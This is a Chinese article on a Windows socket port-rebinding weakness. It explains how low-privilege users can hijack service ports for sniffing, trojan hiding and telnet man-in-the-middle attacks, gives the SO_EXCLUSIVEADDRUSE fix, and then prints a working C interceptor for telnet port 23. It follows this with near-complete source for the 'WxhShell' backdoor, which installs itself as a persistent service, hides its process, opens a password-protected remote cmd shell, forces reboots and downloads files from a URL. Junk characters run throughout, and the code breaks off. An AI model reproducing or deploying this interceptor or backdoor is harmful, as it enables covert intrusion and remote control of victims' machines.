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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a+B3`6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =)f.Yf|A* )0\D1IFJ saddr.sin_family = AF_INET; "td ,YVK ]u\-_PP saddr.sin_addr.s_addr = htonl(INADDR_ANY); K_Kz8qV.? ^YB3$:@$U bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )&[ol9+\ r.' cjUs 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o,qUf K8uqLSP ' 这意味着什么?意味着可以进行如下的攻击: Ny$N5/b!! bwK1XlfD.s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V8G.KA " ~3$:C#"Dl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8aY}b($*ZI m[%P3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q4niA WS+uK b^< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 L4<=,}KS (Bss%\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +;a\
gF^ c^~R%Bx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 km,@yU nu X`>Oy 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *>T@3G.{Rm zC rM~ #include JD~]aoH #include KkSv23In #include h`D+NZtWm #include d z\yP
v~ DWORD WINAPI ClientThread(LPVOID lpParam); +
7nA; C int main() yG<Q t+D { ^=
'+#|: WORD wVersionRequested; B7n1'? DWORD ret; 7G%^8
ce{! WSADATA wsaData; v"sN
K BOOL val; #&Zj6en}M] SOCKADDR_IN saddr; Gdr7d SOCKADDR_IN scaddr; !Xzy: int err; V0*9Tnc SOCKET s; /<\do 1 SOCKET sc; .WS 7gTw int caddsize; <$8e;:#: HANDLE mt; .c@,$z2M DWORD tid; ~Dj_N$_+9 wVersionRequested = MAKEWORD( 2, 2 ); Lmc"qFzK err = WSAStartup( wVersionRequested, &wsaData ); tj: >o#D if ( err != 0 ) { O*1la/~m printf("error!WSAStartup failed!\n"); u:>*~$f
return -1; ?e hUGvV2 } (y?`|=G-xT saddr.sin_family = AF_INET; wTn" @|}=W Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `IK3e9QpcA b@[\+P] " saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?r R,
h{~ saddr.sin_port = htons(23); H?j}!JzAC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -l$-\(,M`# { ;CA7\&L> printf("error!socket failed!\n"); nn/_>%Y return -1; <a=k"'0 } ig?Tj4kD val = TRUE; okD7!)cr= //SO_REUSEADDR选项就是可以实现端口重绑定的 !qJ|`o Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #po}Y { 0GnbE2& printf("error!setsockopt failed!\n"); BoXGoFn return -1; Jek)`D } @W!cC#u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D?P1\<A~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )%9P ;/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $c24l J#/ 3qq6X?y* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d<v)ovQJ] { oBzjEv ret=GetLastError(); d+g+{p>? printf("error!bind failed!\n"); _"sFLe{
return -1; !,N),xG}~ } S.NLxb/ listen(s,2); `L
{dF while(1) Sv03="& { }'Yk#Q caddsize = sizeof(scaddr); N,u~ZEI //接受连接请求 f"A?\w @ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,7izrf8 if(sc!=INVALID_SOCKET) #zw 'H9l { H3jb{S
b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q/t~`pH3 if(mt==NULL) VK?c='zg { AME6Zu3Y printf("Thread Creat Failed!\n"); Js!V,={iX break; RLX?3u& } W\<p`xHk } oF#]<Z\ CloseHandle(mt); m_r_4BP } #:M)a?E/% closesocket(s); 0:3<33]x WSACleanup(); 0x8aKq\' return 0; P6o-H$
a+ } IQCIc@5 DWORD WINAPI ClientThread(LPVOID lpParam) s~Od(,K { @@Vf"o+S SOCKET ss = (SOCKET)lpParam; ~<w9a] SOCKET sc; }u8 D5Q<( unsigned char buf[4096]; GHo=)NTjy SOCKADDR_IN saddr; t /CE,DQ long num; -4'yC_8t DWORD val; KRh95B GU DWORD ret; IBr|A //如果是隐藏端口应用的话,可以在此处加一些判断 4).>b3OhX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ~F9WR5}] saddr.sin_family = AF_INET; ^ql+l~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ga}&% saddr.sin_port = htons(23); _rf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nyR4E}@:O { 7ezf.[{R printf("error!socket failed!\n"); *,d>(\&[f return -1; R2$;f?;: } >E`p@
e+ val = 100; b_T?jCyW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fd Rw:K8 { ce\ F~8y ret = GetLastError(); \Q<Ur&J]% return -1; 0 SeDBs } G6L
/Ny3>_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |KxFiH { %8lF%uu!x ret = GetLastError(); K@zzseQ}= return -1; pC'GKk 8 } =D2x@ank[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) < l%3P6| { x0!5z1KQh printf("error!socket connect failed!\n"); ;Y>cegG\ closesocket(sc); $!_]mz6* closesocket(ss); ,
1{)B return -1; uM9[ } '9MtIcNb while(1) ,pz^8NJAI { -6KGQc}U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ki^c)Tqn //如果是嗅探内容的话,可以再此处进行内容分析和记录 ymLhSF][ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
uT??t=vb num = recv(ss,buf,4096,0); S@a#,,\[ if(num>0) 5B'};AQ send(sc,buf,num,0); G.}
3hd0 else if(num==0) Xbb('MoI63 break; R~],5_| num = recv(sc,buf,4096,0); 3./4] _p if(num>0) RrDNEwAr send(ss,buf,num,0); OyG$ ]C else if(num==0) P]@m0f break; [fU2$(mT+ } )MKzAAt~ closesocket(ss); ;hOrLy&O closesocket(sc); &T8prE? return 0 ; / 1jb8w' } Tv&-n |?!Ew# w D+.h*{gD ========================================================== a
N| MBX; :>.~"uWo{ 下边附上一个代码,,WXhSHELL 3P!Jw7e 1Yy5bg6+E ========================================================== E(e'qL iG1vy'J#o #include "stdafx.h" ncluA~ 8 /?jAG3" #include <stdio.h> $:%?-xy( #include <string.h> T/"6iv\1 #include <windows.h> XTHy
CK #include <winsock2.h> 3JiDi
X"| #include <winsvc.h> i`^`^Ka #include <urlmon.h> 9 T4x1{mO MEQ:[;1 #pragma comment (lib, "Ws2_32.lib") XQu~/{A= #pragma comment (lib, "urlmon.lib") fL8+J]6A6 p*rBT,' #define MAX_USER 100 // 最大客户端连接数 pNo<:p #define BUF_SOCK 200 // sock buffer 05\A7.iy #define KEY_BUFF 255 // 输入 buffer {iqH 27\E V=}b>Jo2j #define REBOOT 0 // 重启 9tVA.:FOZ #define SHUTDOWN 1 // 关机 `":ch9rK VN[h0+n4Th #define DEF_PORT 5000 // 监听端口 /!kKL$j g(\FG #define REG_LEN 16 // 注册表键长度 pC2r{- #define SVC_LEN 80 // NT服务名长度
oY:6a 9&=~_,wJd // 从dll定义API `/'Hq9$F<" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5A:mu+Iz6H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8VJUaL@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xV'\2n=1T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lK%pxqx TE4{W4I // wxhshell配置信息 <a |$Bl struct WSCFG { Ctxs]S tU% int ws_port; // 监听端口 ;f7(d\=y
char ws_passstr[REG_LEN]; // 口令 q@ >s# int ws_autoins; // 安装标记, 1=yes 0=no jd$uOn.r char ws_regname[REG_LEN]; // 注册表键名 'w`:p{E char ws_svcname[REG_LEN]; // 服务名 M* (]hu0! char ws_svcdisp[SVC_LEN]; // 服务显示名 Da!A1|" char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~jb6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qWf7k+7G int ws_downexe; // 下载执行标记, 1=yes 0=no &,xN$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h#?L6<*tm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Us'm9 J rS>JzbWa }; Z;bzp3v =N`"%T@= // default Wxhshell configuration c~(+#a struct WSCFG wscfg={DEF_PORT, N %-Cp) "xuhuanlingzhe", r>S?,qr 1, KvC`6 "Wxhshell", g*b`V{/Vw "Wxhshell", FW:x XK "WxhShell Service", T=}(S4n#BX "Wrsky Windows CmdShell Service", *doK$wYP "Please Input Your Password: ", pvJ@$L`' 1, tFL/zqgm " http://www.wrsky.com/wxhshell.exe", &}S#6|[i "Wxhshell.exe" {Q[{H'Oa }; ^WP`;e FFl[[(`%D // 消息定义模块 <J@Y=#G$2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W6D|Rr.q char *msg_ws_prompt="\n\r? for help\n\r#>"; ow*) 1eo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ci>+Zi6 char *msg_ws_ext="\n\rExit."; *
c]
:,5 char *msg_ws_end="\n\rQuit."; D0tmNV@ char *msg_ws_boot="\n\rReboot..."; *z`_U]tP char *msg_ws_poff="\n\rShutdown..."; h8oG5|Y char *msg_ws_down="\n\rSave to "; $
+;`[b @CU3V+ char *msg_ws_err="\n\rErr!"; _niXl&C char *msg_ws_ok="\n\rOK!"; -:`$8/A| o&1ewE(O] char ExeFile[MAX_PATH]; '$W@I int nUser = 0; s)#FqB8 HANDLE handles[MAX_USER]; Qwb=N int OsIsNt; *D1^Se mc;Z#"kf SERVICE_STATUS serviceStatus; -
*!R SERVICE_STATUS_HANDLE hServiceStatusHandle; y~An'+yBa v'7,(.E // 函数声明 k'X
v*U int Install(void); z iR} int Uninstall(void); |BnjT*_9 int DownloadFile(char *sURL, SOCKET wsh); s_-G`xT>{ int Boot(int flag); 1HG~}E void HideProc(void); v!T%xUb0 int GetOsVer(void); V&<vRIsN int Wxhshell(SOCKET wsl); CN@bJo2 void TalkWithClient(void *cs); M ()&GlNs int CmdShell(SOCKET sock); cj@Ygc)n int StartFromService(void); n5A0E 2! int StartWxhshell(LPSTR lpCmdLine); 0'`>20Y Iodk1Y; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >6Y\CixN VOID WINAPI NTServiceHandler( DWORD fdwControl ); /=A?O\B7 ('pNAn!] // 数据结构和表定义 ~isrE;N1| SERVICE_TABLE_ENTRY DispatchTable[] = k/YEUC5 { q?g4**C {wscfg.ws_svcname, NTServiceMain}, m'k.R
j {NULL, NULL}
yTwv2l;U }; r7/y'Y]O
@dQIl# // 自我安装 I.TdYSB int Install(void) Y;d$x}dh { e.jrX;;$!& char svExeFile[MAX_PATH]; X[:Hp`_$ HKEY key; .w\AyXp strcpy(svExeFile,ExeFile); qc\]~]H]r cq+|fg~Yy // 如果是win9x系统,修改注册表设为自启动 6Y0k}+j|>E if(!OsIsNt) { SuU,SE'TX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n=l>d#}$%T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J`a$"G B. RegCloseKey(key); Aa-L<wZVPt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fOCLN$x^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;@GlJ
'$; RegCloseKey(key); yB\}e'J^ return 0; MW8GM }Ho[ } 6= s!~ } :@{(^}N8u } JsI`# else { m07=
_4 |u8IQR'B // 如果是NT以上系统,安装为系统服务 X&fM36o7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z`<S_PPz if (schSCManager!=0) r$}M,! J { NrT!&>M SC_HANDLE schService = CreateService $L_-U~^ ( 1@sy:{
d` schSCManager, M_*"g>Z wscfg.ws_svcname, ec+&K?T wscfg.ws_svcdisp, A >< SERVICE_ALL_ACCESS, u8L%R[#o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P2pdXNV SERVICE_AUTO_START, hRTw8-wy: SERVICE_ERROR_NORMAL, w%R(*,r6 svExeFile, J7q^4M+o: NULL, -/rP0h5# NULL, /]m5HW(P7K NULL, x9q?^\x NULL, V/"UDof NULL ^.)oQo SE ); bHRH2Ss if (schService!=0) ,%7>%*nhk { 2 %UzCK CloseServiceHandle(schService); "C %<R CloseServiceHandle(schSCManager); G(W/.* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b{JcV strcat(svExeFile,wscfg.ws_svcname); |`[0U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,Bax0p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }A,9` RegCloseKey(key); ekC
1wN
l return 0; chk1tFV } _ K["qm{X_ } -J*BY2LU3f CloseServiceHandle(schSCManager); U Hh } (~ro_WC/I } ,Z*&QR #v+2W return 1; N\{Xhr7d } @v&hr OP0KK^# // 自我卸载 "j-Z<F]] int Uninstall(void) =p~k5k4 { tb36c<U- HKEY key; `L# pN5 KBJ%$OQV if(!OsIsNt) { 0Cd)w4C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?e( y/ RegDeleteValue(key,wscfg.ws_regname); K",YAfJa RegCloseKey(key); shlMJa? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vpnQ s#8O RegDeleteValue(key,wscfg.ws_regname); _wMx KM RegCloseKey(key); hZ@frbuowk return 0; zA/tHlKc } &zkuL } Kv(2x3(" } FyleK+D? else { VRden>vKN CqK&J
/8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mY6d+ if (schSCManager!=0) 0?c2=Y { WOBLgM,| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! Rr k if (schService!=0) j#4 Iu&YJ { 5B6twn~[ if(DeleteService(schService)!=0) { tNpBRk(} CloseServiceHandle(schService); {jdtNtw CloseServiceHandle(schSCManager); |Z6M?n return 0; -u+@5K;^Y } 2tPW1"M.n CloseServiceHandle(schService); %-9?rOr } n!Hj4~T0 CloseServiceHandle(schSCManager); M~'4>h} } I_hus } (j<FS>## _[%2QwAUj* return 1; 'k^d-Mh>h } _A]8l52pt X=C*PWa7 // 从指定url下载文件 arVu`pD*n int DownloadFile(char *sURL, SOCKET wsh) 9mA6nmp { i28WgDG)5 HRESULT hr; A]<+Aq@{ char seps[]= "/";
2fqg,_ char *token; Q]h.{nN#PK char *file; Q)]C~Q char myURL[MAX_PATH]; t)qu@m?FZ) char myFILE[MAX_PATH]; 8Dy5g B'NtG84 strcpy(myURL,sURL); VrQgn9L token=strtok(myURL,seps); xE>jlr? while(token!=NULL) 6=pE5UfT { OdKfU^ file=token; qStZW^lFeY token=strtok(NULL,seps); :zA/~/Wo } F#b^l} $G\WW@*GE GetCurrentDirectory(MAX_PATH,myFILE); g2RrBK, strcat(myFILE, "\\"); z6'Cz}%EP' strcat(myFILE, file); 3#\++h]QZ send(wsh,myFILE,strlen(myFILE),0); s+m3&(X send(wsh,"...",3,0); Ga<Uvr%+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ow"e3]}Mt if(hr==S_OK) *r)/Vx`S return 0; d9=i{i3 else r~[Bzw"c return 1; nu(;yIRP 7!qO*r } xdLMy#U2 ()}(3>O- // 系统电源模块 '@0Z#A int Boot(int flag) #}xw
*)3 { Bm>>-nG; HANDLE hToken; rtSG-_[i TOKEN_PRIVILEGES tkp; ]3D>ai? gPE`mE if(OsIsNt) { uqotVil, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nsA}A~(E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jT'09r3P tkp.PrivilegeCount = 1; 60\`TsFobT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PEr &|H2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r5,V-5b if(flag==REBOOT) { Tv[h2_+E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a Fh9B\n return 0; y:HH@aa) } Sj'Iz # else { d6+$[4w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2RbK##`vC return 0;
WrHY' } L*6R5i> } fzdWM:g else { eIDrN%3 if(flag==REBOOT) { Xi~7pH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?W 6
:$ return 0; Qx")D?u } @?2ES@G+Ji else { )FdS;] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .vnQZ*6 return 0; {1eW*9 } P#!^9)3 } |NdWx1 $ucDzf=o return 1; PyoIhe&ep } H/2dVUU | LXVf // win9x进程隐藏模块 ]?7q%7-e.a void HideProc(void) NNxzZ!q! { <GWzdj? n\i~H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pi|=3W if ( hKernel != NULL ) ^`S.Mw. { S[;d\Z]~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }`pxs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oh0*b h FreeLibrary(hKernel); -Hh.8(!XoO } gy`WBg(7x |yinV fZ0C return; j.ZXLe~ } h'nXV{N0 j4:Xel/ // 获取操作系统版本 7_Op(C4,nC int GetOsVer(void) . 3'U(U { oLS/ OSVERSIONINFO winfo; [gDl<6a#4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t-i\gq^ GetVersionEx(&winfo); 8|{d1dy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ri/CLq^D return 1; dw>1Ut{"3 else P:>]a$Is return 0; ?j;,:n } Q_)$Ha{>H, r>ag(^J\ // 客户端句柄模块 =[:pm) int Wxhshell(SOCKET wsl) iv
~<me0F { 7O-fc1OTv SOCKET wsh; P~*'/!@ struct sockaddr_in client; FL{$9o\@ DWORD myID; ?J@P0(M# 7Ucq(,\./ while(nUser<MAX_USER) &Nw[J5-"k { +O)Y7k{?C5 int nSize=sizeof(client); ?="?)t[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0VZC7@ if(wsh==INVALID_SOCKET) return 1; 4(dgunP mpNS}n6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? _7iL? if(handles[nUser]==0) &;naaV_2T closesocket(wsh); TT oW>RP# else %i.Prckrb nUser++; fZp3g%u } |s,y/svp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K: |-s4= h])oo:u'/Q return 0; -%dBZW\u2 } a%2K,.J s o7.$]aV // 关闭 socket t,u;"%go void CloseIt(SOCKET wsh) Kk).KgR { =gB8(1g8 closesocket(wsh); N F,<^ u nUser--; CiV^bYi ExitThread(0); ^ib
=fLu } mqtYny' &3OV|ly] // 客户端请求句柄 R;zf x/ void TalkWithClient(void *cs) uO)vGzt3^x { #||D,[ _=+ Jflm-Hhsf SOCKET wsh=(SOCKET)cs; J|w%n5Y char pwd[SVC_LEN]; 8O_yZ
~Z4 char cmd[KEY_BUFF]; Us.k, char chr[1]; Ae%AG@L int i,j; _\gCdNrD @*E=O | while (nUser < MAX_USER) { Sf*gAwnW Q
ZC\%X8j if(wscfg.ws_passstr) { (^"2"[?a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (((|vI3 < //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =ea.+ //ZeroMemory(pwd,KEY_BUFF); L&d.&,CNs' i=0; RT(ejkLZm while(i<SVC_LEN) { uu.}<VM.1 ?r{hrAx // 设置超时 fB 0X9iV6j fd_set FdRead; 6OB3%R'p struct timeval TimeOut; h\2iArw8 FD_ZERO(&FdRead); F'-XAI
<3 FD_SET(wsh,&FdRead); +sV~#%% TimeOut.tv_sec=8; /I((A/ks TimeOut.tv_usec=0; yp[,WZt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .%!^L#g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TT no kE :{#>[Uz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OIIA^QyV pwd =chr[0]; J0imWluhQ if(chr[0]==0xd || chr[0]==0xa) { tH~>uOZW pwd=0; 4bcd=a; break; ?E<9H/ } \8g=
Ix i++; W4bN']? } ;E,i p:)=i"uL // 如果是非法用户,关闭 socket S503b*pM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w:/3%- } kZ PL$\/A fwiP3*j+Nn send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K { FZ/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ds;:*N+qA @t;726 while(1) { DN iH" 0% -L<FVB ZeroMemory(cmd,KEY_BUFF); -$X4RS h#c7v!g // 自动支持客户端 telnet标准 )TEm1\ j=0; !??g:2 while(j<KEY_BUFF) { 4U16'd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fZ&' _ cmd[j]=chr[0]; &8Z.m,s] if(chr[0]==0xa || chr[0]==0xd) { 5^R?+<rd cmd[j]=0; X7[gfKGL)N break; $$uMu{?0i }
M%Ksyr9 j++; eco&!R[G } [[pt~=0 c%bzrYQvA; // 下载文件 2% /Kf}+ if(strstr(cmd,"http://")) { T"aE]4_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Fxr= if(DownloadFile(cmd,wsh)) a4gX@&it_k send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWE ab else awI{%u_(nA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CUHT5J*sY } "Zx<hL* else { `23][V 9UVT]acq switch(cmd[0]) { aj,o<J NuOxEyC // 帮助 V#b=mp case '?': { @OGG]0
J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fUGappb break; Zxhbnl6 } YaL:6[6 // 安装 OScqf]H case 'i': { s2GF*{ if(Install()) (KwC,0p send(wsh,msg_ws_err,strlen(msg_ws_err),0); aL`wz ! else "<{|ni} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,p OGT71 break; 3Pllxq<n } hF$qH^-c*A // 卸载 <hj2'dU case 'r': { G maNi if(Uninstall()) l GBg8/[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01n132k else ,i??}Wm5G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E1tCY.N{ break; T1*.3_wtP } k].swvIi // 显示 wxhshell 所在路径 D7T|K :F) case 'p': { {=?(v`88 char svExeFile[MAX_PATH]; *coUHbP9> strcpy(svExeFile,"\n\r"); AWYlhH4c?t strcat(svExeFile,ExeFile); >;'0ymG.` send(wsh,svExeFile,strlen(svExeFile),0); SOOJq C break; Je6wio-4 } qT !lq // 重启 @4D{lb"{ case 'b': { ^ =n7E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q$:Q6/5. if(Boot(REBOOT)) eBs.RR
]O send(wsh,msg_ws_err,strlen(msg_ws_err),0);
7s#8-i else {
oI[rxr closesocket(wsh); xVbRCu#Z ExitThread(0); 80_w_i + } *4Ldh}S! break; 16Jq*hKU } 5lJL[{ // 关机 ^/#G,MxNy case 'd': { N0-J=2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N0Y4m_dm* if(Boot(SHUTDOWN)) y.J>}[\&x send(wsh,msg_ws_err,strlen(msg_ws_err),0); }8#Ed;%K else { bT&{8a closesocket(wsh); u~j
H
ExitThread(0); R:YVmqd } FZ?eX`, break; BZHoRd{EH } Zfcf?&>< // 获取shell Xd5s8C/} case 's': { Q,^/Lm|]k CmdShell(wsh); t@9-LYbL
closesocket(wsh);
V){Io_" ExitThread(0); r6'dEa break; _1qR1<V } }O
$]xB // 退出 y|KQ`; case 'x': { h=gtuaR4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8K-P]] CloseIt(wsh); k]5tU\;Yw break; 2Kz$y
JTp } !ess.U&m' // 离开 f"P866@oWn case 'q': { #jrlNg4( send(wsh,msg_ws_end,strlen(msg_ws_end),0); (C#0
ML closesocket(wsh); >MN"87U6 WSACleanup(); ;Vat\,45pg exit(1); JJ
?'<)EF break; 7=^}{ } k[ z yR } |
U"fhG=g } EI6kBRMo su%-b\8K // 提示信息 GI/NouaNfm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,++HiYOG}e } 8R!-,I"$ } g^(gT c{I]!y^! return; Cm)TFh6 } n19A>,m GHd1?$ // shell模块句柄 {+hABusq int CmdShell(SOCKET sock) .=J- !{z { ocW~I3 STARTUPINFO si; XV]xym~ ZeroMemory(&si,sizeof(si)); 8+}rm6Y+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <3BGW?=WP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l3>e-kP PROCESS_INFORMATION ProcessInfo; x0JW char cmdline[]="cmd"; # euG$( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q%])dZ!lE return 0; #<b\B qYG } 5)T[ha77u [;Lgbgt3f // 自身启动模式 V&:x+swt int StartFromService(void) G&^8)S@1 { <i</pA typedef struct !>> A@3 { %K|f,w=m DWORD ExitStatus; M' z.d DWORD PebBaseAddress; g^+p7G DWORD AffinityMask; LxhS
9 DWORD BasePriority; ajk}&`Wj" ULONG UniqueProcessId; B2Y.1mXq ULONG InheritedFromUniqueProcessId; NL$z4m0 } PROCESS_BASIC_INFORMATION; }k-8PG = ^rO"U[To PROCNTQSIP NtQueryInformationProcess; 1bQO:n):~ c.Sd~k:3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _MTZuhY static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L7buY(F( 6CHb\k HANDLE hProcess; 0H>gMXWE] PROCESS_BASIC_INFORMATION pbi; dv\bkDF4A 1gkpK`u(B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1m"WrTen if(NULL == hInst ) return 0; g{6jN oio{@#DX` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]VKQm(,0 g_pGetModuleBaseName = 